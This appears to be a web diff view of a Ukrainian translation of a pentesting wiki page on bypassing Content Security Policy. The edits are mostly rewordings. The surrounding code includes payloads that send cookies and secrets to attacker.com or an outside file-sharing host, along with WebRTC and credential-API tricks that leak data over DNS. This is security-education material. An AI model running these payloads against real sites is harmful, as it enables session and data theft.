||||||
|
|
||||||
Обидва методи використовують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||||
|
|
||||||
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
||||||
|
|
||||||
@ -597,7 +597,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||||||
|
|
||||||
### PHP помилки при надмірній кількості параметрів
|
### PHP помилки при надмірній кількості параметрів
|
||||||
|
|
||||||
Згідно з [**останням методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
||||||
|
|
||||||
### Переповнення буфера відповіді PHP
|
### Переповнення буфера відповіді PHP
|
||||||
|
|
||||||
@ -617,7 +617,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||||||
```
|
```
|
||||||
### SOME + 'self' + wordpress
|
### SOME + 'self' + wordpress
|
||||||
|
|
||||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати **об'єкт `opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||||
@ -634,7 +634,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
|
|||||||
|
|
||||||
### Location
|
### Location
|
||||||
|
|
||||||
Ви можете просто оновити місцезнаходження, щоб надіслати секретну інформацію на сервер атакуючого:
|
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер атакуючого секретну інформацію:
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split("=")[1] + "."
|
var sessionid = document.cookie.split("=")[1] + "."
|
||||||
document.location = "https://attacker.com/?" + sessionid
|
document.location = "https://attacker.com/?" + sessionid
|
||||||
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
|
|||||||
|
|
||||||
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
||||||
|
|
||||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
|
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
|
||||||
```javascript
|
```javascript
|
||||||
;(async () => {
|
;(async () => {
|
||||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||||
@ -686,7 +686,7 @@ p.createDataChannel("")
|
|||||||
p.setLocalDescription(await p.createOffer())
|
p.setLocalDescription(await p.createOffer())
|
||||||
})()
|
})()
|
||||||
```
|
```
|
||||||
Інший варіант:
|
Ще один варіант:
|
||||||
```javascript
|
```javascript
|
||||||
var pc = new RTCPeerConnection({
|
var pc = new RTCPeerConnection({
|
||||||
"iceServers":[
|
"iceServers":[
|
||||||
@ -700,7 +700,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||||||
```
|
```
|
||||||
### CredentialsContainer
|
### CredentialsContainer
|
||||||
|
|
||||||
Вікно облікових даних надсилає DNS-запит до iconURL без обмежень з боку сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
|
Вікно облікових даних надсилає DNS-запит до iconURL, не підлягаючи обмеженням сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
|
||||||
```javascript
|
```javascript
|
||||||
navigator.credentials.store(
|
navigator.credentials.store(
|
||||||
new FederatedCredential({
|
new FederatedCredential({
|
||||||
|
Loading…
x
Reference in New Issue
Block a user